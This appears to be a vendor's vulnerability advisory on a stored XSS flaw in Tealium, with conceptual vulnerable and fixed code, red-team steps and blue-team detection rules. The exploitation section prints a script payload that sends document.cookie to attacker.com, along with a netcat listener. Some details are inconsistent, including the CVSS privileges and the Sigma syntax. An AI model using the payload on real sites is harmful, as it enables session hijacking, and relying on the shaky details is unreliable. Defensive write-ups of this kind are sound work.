CVE-2025-50018

Executive Summary

CVE-2025-50018 is a Stored Cross-Site Scripting (XSS) vulnerability in Tealium, a widely used customer data platform (CDP) and tag management system. The vulnerability resides in the improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, data theft, and defacement. The vulnerability affects all versions of Tealium up to and including 2.1.20. No public exploit code or patch is currently available, making this a high-priority issue for organizations using the affected software.

Supply Chain & Package Security

Tealium is a JavaScript-based tag management system often embedded in websites via a snippet or npm package. This vulnerability could be exploited through the Tealium npm package (@tealium/tealium), affecting downstream applications that integrate it. Organizations should audit their use of Tealium in client-side code and ensure no untrusted data is passed to Tealium’s rendering functions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction (e.g., clicking a link) and the limited impact on confidentiality and integrity. However, the stored nature of the XSS increases the risk as the payload persists across sessions.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in Tealium’s web interface. Tealium allows administrators to configure tags, data layers, and custom scripts. The flaw occurs when user-supplied input (e.g., tag names, descriptions, or custom JavaScript code) is not properly sanitized before being stored and later rendered in the admin panel or on public-facing pages.

An attacker with access to the Tealium admin interface (or via a CSRF attack) can inject malicious JavaScript into a field that is later displayed to other users. For example, a tag name like <img src=x onerror=alert(1)> would be stored and executed when an admin views the tag list.

The root cause is the lack of output encoding or input validation in the web page generation process. Tealium likely uses a templating engine that does not escape HTML entities by default.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Server-side rendering (e.g., Node.js/Express)
app.get('/admin/tags', (req, res) => {
  const tags = db.getTags(); // returns array of tag objects
  let html = '<ul>';
  tags.forEach(tag => {
    html += `<li>${tag.name}</li>`; // No escaping!
  });
  html += '</ul>';
  res.send(html);
});

Patched Code (Conceptual):

const escapeHtml = require('escape-html');
app.get('/admin/tags', (req, res) => {
  const tags = db.getTags();
  let html = '<ul>';
  tags.forEach(tag => {
    html += `<li>${escapeHtml(tag.name)}</li>`; // Proper escaping
  });
  html += '</ul>';
  res.send(html);
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Tealium admin panel (or ability to trick an admin into performing actions via CSRF).
• A target user who will view the affected page.

Exploitation Steps:

1. Identify an input field that is stored and displayed (e.g., tag name, description).
2. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form. The payload is stored in the database.
4. When an admin or user views the page containing the stored data, the script executes, exfiltrating cookies or performing other actions.

Lab Setup:

• Use a local instance of Tealium (version <= 2.1.20) or a vulnerable demo environment.
• Set up a listener (e.g., nc -lvnp 8080) to capture exfiltrated data.
• Use a browser with developer tools to inspect the XSS execution.

Blue Team

Detection:

• Monitor for unusual input patterns in Tealium admin logs (e.g., <script>, onerror, javascript:).
• Use web application firewalls (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding on all user-supplied data.
• Restrict admin panel access to trusted IPs and enforce strong authentication.
• Regularly update Tealium to the latest version once a patch is released.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the Tealium server.
• Logs: Entries containing HTML tags or JavaScript in fields like tag_name, description, or custom_script.
• File System: Modified JavaScript files in the Tealium installation directory (e.g., /var/www/tealium/js/).
• Database: Stored XSS payloads in the tags or config tables.

Detection Engineering

YARA Rule

rule CVE_2025_50018_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Tealium logs or database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50018"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Tealium Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in Tealium admin logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: tealium
detection:
    selection:
        event: "tag_created" or "tag_updated"
        field: "name" or "description"
        value|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom tags (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50018 Tealium Stored XSS Payload"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50018 Tealium XSS onerror"; content:"onerror"; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50018 Tealium XSS javascript"; content:"javascript:"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable any input fields that allow raw HTML/JavaScript in the Tealium admin panel.
   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
   • Restrict admin panel access to a limited set of IP addresses.

2. Long-term Fix:

   • Apply output encoding (e.g., HTML entity encoding) to all user-supplied data before rendering.
   • Use a Content Security Policy (CSP) header to restrict script execution.
   • Monitor Tealium’s official channels for a security patch and apply it immediately.

3. Workaround:

   • If patching is not possible, consider using a reverse proxy to sanitize input/output.

Valters IT
Securing Digital Frontiers